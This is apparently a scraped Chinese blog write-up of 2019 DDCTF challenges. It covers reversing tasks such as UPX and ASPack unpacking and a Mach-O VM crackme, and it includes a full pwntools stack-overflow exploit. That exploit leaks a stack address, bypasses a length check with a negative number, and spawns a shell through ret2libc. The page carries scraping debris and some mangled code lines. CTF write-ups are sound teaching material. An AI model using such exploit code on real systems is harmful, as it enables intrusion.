……

re

Windows Reverse1

通过DIE查壳发现存在upx,在linux上upx -d脱壳即可,拖入IDA,通过关键字符串找到关键函数:

main函数中也没有什么,将输入的字符串带到sub_401000函数去处理,之后和处理过后的字符串和正确字符串进行比较,若一致则是正确flag

跟进sub_401000,首先计算了输出字符串的长度,然后根据每一个字符的ascii码再加上一个常量作为地址,取里面的值,循环,每一位都是这样

在main函数中我们知道正确的字符串,那么我们就可以反推处flag

exp:

1
2
3
4
5
data = [0x403052,0x403052,0x403053,0x403042,0x403050,0x40301B,0x403024,0x403031,0x403020,0x403031,0x403024,0x403023,0x403031,0x403049,0x403051,0x403019]
flag = ""
for x in range(len(data)):
flag+=chr(data[x]-0x402ff8)
print "DDCTF{"+flag+"}"

flag:DDCTF{ZZ[JX#,9(9,+9QY!}

Windows Reverse2

查壳发现是ASPack壳,我用工具脱没脱下来,只好手动脱,根据栈平衡可以顺利找到eop,然后从内存中dump下来,载入IDA中,找到关键函数:

sub_4011F0函数验证了用户输出的合法性,然后再经过sub_401240和sub_401C6A处理,再和正确字符串相比较

验证合法性的函数很简单,限制了0-9,A-F

接下来看数据处理函数,静态分析后也没明白是干什么的,通过交叉引用函数,发现sub_401000存在base64算法,但是这道题把索引表给隐藏起来了,题目所提供的索引表和0x76异或之后构成base64的索引表

动态调试的时候,我们输入123456789A的时候,发现sub_401000返回了一串字符串:

更加确定这个是base64加密了,解密发现,这个题目是将我门输入的字符串直接转成了数据

1
2
import base64
print base64.b64decode("EjRWeJo=").encode("hex")

所以我们直接将正确字符串base64解密即可得到flag:

1
2
import base64
print "DDCTF{"+base64.b64decode("reverse+").encode("hex").upper()+"}"

flag:DDCTF{ADEBDEAEC7BE}

Confused

这道题一开始我没看出来,后来kaller师傅给我了一个提示:VM 虚拟机

再反过来头看程序,恍然大悟

首先题目是一个app,应该是在MacOS上的app,这是我第一次做,边百度边做

在MacOS中发现一个可执行文件,xia0Crackme

1
2
3
➜  MacOS file xia0Crackme 
xia0Crackme: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
➜ MacOS

拖入IDA查找字符串来定位关键函数:

main函数中,大致过程就是先对输入的字符串进行格式上的验证,长度上限制是18,然后进入到sub_1000011D0进行处理,若返回值等于1,则是正确的flag

在sub_1000011D0函数中首先初始化了一个区域v2

sub_100001f60是通过输入的字符串和内存数据对v2进行赋值操作

前段是对v2进行赋值,最后将输入的字符串拷贝到qword_100003F58+48的位置

sub_100001F00函数对(*v2+24)进行了赋值,把一段数据赋给了它,接着是一个循环,判断条件就是刚刚赋值的数据是不是等于“0xf3”,

然后进入sub_100001E50,这个函数一开始我还没看出来是什么意思,后来发现这是一个VM类型的题,,这个函数的作用是控制程序执行的vm的分支

各个分支的函数我这里就不再详细讲解

数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x30,
0xf6,0xc1, 0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x31,
0xf6,0xb6, 0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x32,
0xf6,0xab, 0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x33,
0xf6,0xa0, 0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x34,
0xf6,0x95, 0xf0,0x10,0x57,0x0,0x0,0x0,
0xf8,
0xf2,0x35,
0xf6,0x8a, 0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x36,
0xf6,0x7f, 0xf0,0x10, 大专栏  2019DDCTF部分Writeup0x73,0x0,0x0,0x0,
0xf8,
0xf2,0x37,
0xf6,0x74, 0xf0,0x10,0x45,0x0,0x0,0x0,
0xf8,
0xf2,0x38,
0xf6,0x69, 0xf0,0x10,0x6d,0x0,0x0,0x0,
0xf8,
0xf2,0x39,
0xf6,0x5e, 0xf0,0x10,0x72,0x0,0x0,0x0,
0xf8,
0xf2,0x3a,
0xf6,0x53, 0xf0,0x10,0x52,0x0,0x0,0x0,
0xf8,
0xf2,0x3b,
0xf6,0x48, 0xf0,0x10,0x66,0x0,0x0,0x0,
0xf8,
0xf2,0x3c,
0xf6,0x3d, 0xf0,0x10,0x63,0x0,0x0,0x0,
0xf8,
0xf2,0x3d,
0xf6,0x32, 0xf0,0x10,0x44,0x0,0x0,0x0,
0xf8,
0xf2,0x3e,
0xf6,0x27, 0xf0,0x10,0x6a,0x0,0x0,0x0,
0xf8,
0xf2,0x3f,
0xf6,0x1c, 0xf0,0x10,0x79,0x0,0x0,0x0,
0xf8,
0xf2,0x40,
0xf6,0x11, 0xf0,0x10,0x65,0x0,0x0,0x0,
0xf8,
0xf2,0x41,
0xf6,0x6,
0xf7,0x1,0x0,0x0,0x0,0xf3

总共是两中处理方式

exp:

1
2
3
4
5
6
7
8
data = [0x66,0x63,0x6a,0x6a,0x6d,0x57,0x6d,0x73,0x45,0x6d,0x72,0x52,0x66,0x63,0x44,0x6a,0x79,0x65]
flag = ""
for x in range(len(data)):
if 0x41<=data[x] and data[x]<=0x5a:
flag += chr((2+data[x]-65)%26+65)
else:
flag += chr((2+data[x]-97)%26+97)
print "DDCTF{"+flag+"}"

flag:DDCTF{helloYouGotTheFlag}

pwn

[PWN] strike

这个相对来说是比较简单的,设计到的只有栈溢出,但是这个栈溢出有点和之前的不一样

第一处漏洞点

fprintf处存在泄露栈地址

第二处漏洞点

通过负数来绕过对password输入长度的限制

第三处漏洞点

在读入password时可造成栈溢出

但是在栈溢出的时候ECX不能变,需要把ECX的值计算出来填充到我们的payload中

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
debug = 1 if debug:
r = remote("116.85.48.105",5005)
file = ELF("./xpwn")
libc = ELF("./libc.so.6")
else:
r = process("./xpwn")
file = ELF("./xpwn") # leak stack addr
r.recv()
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv()[0:4])
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv() # leak real addr
main_addr = 0x8048669
puts_plt = file.plt['puts']
read_got = file.got['read']
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(puts_plt)+p32(main_addr)+p32(read_got)
#gdb.attach(r)
r.sendline(payload)
r.recvuntil("All done, bye!")
str1 = r.recv()
read_real = u32(str1[1:5])
read_libc = libc.symbols['read']
base_addr = read_real-read_libc
log.info("base_addr:"+hex(base_addr))
system_addr = libc.symbols['system']+base_addr
binsh_addr = 0x0015902b+base_addr
log.info("binsh_addr:"+hex(binsh_addr))
log.info("system_addr:"+hex(system_addr)) # getshell
payload = "a"*40
r.send(payload)
r.recvuntil("Hello "+"a"*40)
leak_stack = u32(r.recv()[0:4])
ecx_stack = leak_stack+0x18
log.info("leak_stack --> "+hex(leak_stack))
log.info("ecx_stack --> "+hex(ecx_stack))
r.recv()
r.sendline("-123456")
r.recv()
payload = "a"*68+p32(ecx_stack)+"a"*24+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.sendline(payload)
r.recvuntil("All done, bye!")
sleep(0.1)
r.interactive()

flag:DDCTF{s0_3asy_St4ck0verfl0w_r1ght?}

2019DDCTF部分Writeup的更多相关文章

  1. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  2. ISCC2016 WriteUp

    日期: 2016-05-01~ 注:隔了好久才发布这篇文章,还有两道Pwn的题没放,过一阵子放上.刚开始做这个题,后来恰巧赶上校内CTF比赛,就把重心放在了那个上面. 这是第一次做类似于CTF的题,在 ...

  3. 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp

    洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...

  4. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  5. 《安全智库》:48H急速夺旗大战通关writeup(通关策略)

    作者:ByStudent   题目名字 题目分值 地址 MallBuilder2 350 mall.anquanbao.com.cn MallBuilder1 200 mall.anquanbao.c ...

  6. iscc2016 pwn部分writeup

    一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...

  7. We Chall-Training: Encodings I -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  8. We Chall-Encodings: URL -Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

  9. We Chall-Training: ASCII—Writeup

    MarkdownPad Document html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,ab ...

随机推荐

  1. Python 学习笔记:根据输入年月获取该月的第一天和最后一天

    目的: 给定一个时间,比如:2020.02,要求返回所输入月份的第一天及最后一天,比如:('2020.02.01', '2020.02.29') 参考博客:https://blog.csdn.net/ ...

  2. npm安装依赖报 npm ERR! code Z_BUF_ERROR npm ERR! errno -5 npm ERR! zlib: unexpected end of file 这个错误解决方案

    今天碰到了一个比较奇怪的问题,下载依赖有问题报错 npm ERR! code Z_BUF_ERROR npm ERR! errno -5 npm ERR! zlib: unexpected end o ...

  3. KeyError: 'xxx does not support field: _id'

    Scrapy存储爬取的数据时,提示不支持某些字段 在Item文件中,添加对应的字段即可

  4. 2017年3月25日工作日志:Jquery使用小结[绑定事件判断、select标签、军官证正则]

    jQuery获取DOM绑定事件 在1.8.0版本之前,我们要想获取某个DOM绑定的事件处理程序可以这样: $.data(domObj,'events');//或者$('selector').data( ...

  5. Codeforces 1292B/1293D - Aroma's Search

    题目大意: Aroma想要找数据第0个数据再x0,y0这个点其后所有数据所在的坐标点满足x[i]=x[i-1]*ax+bxy[i]=y[i-1]*ay+byAroma一开始在点(xs,ys),她最多只 ...

  6. [ZJOI2019]开关(生成函数+背包DP)

    注:以下p[i]均表示概率 设F(x)为按i次开关后到达终止状态方案数的EGF,显然F(x)=π(ep[i]x/p+(-1)s[i]e-p[i]x/p)/2,然而方案包含一些多次到达合法方案的状态,需 ...

  7. uboot 编译

    . 解包u-boot源码包(u-boot-2016.07) . 配置交叉编译器 根据内核编译里的步骤配置 . 编译uboot yum install ncurses* // ncurses是个终端的图 ...

  8. 【DSP】TMS320F28335的GPIO

    --> 关于TMS320F28335的GPIO的基础操作 TI的c2000系列DSP大多数的外设信号与通用输入/输出 (GPIO) 信号复用. 这使得用户能够在外设信号或者功能不使用时将一个引脚 ...

  9. Tricks of Android's GUI

    Tricks of Android's GUI */--> Tricks of Android's GUI 1 layoutweight In LinearLayout, the default ...

  10. js求两个数的百分比

    function toPercent(num, total) { return (Math.round(num / total * 10000) / 100.00 + "%");/ ...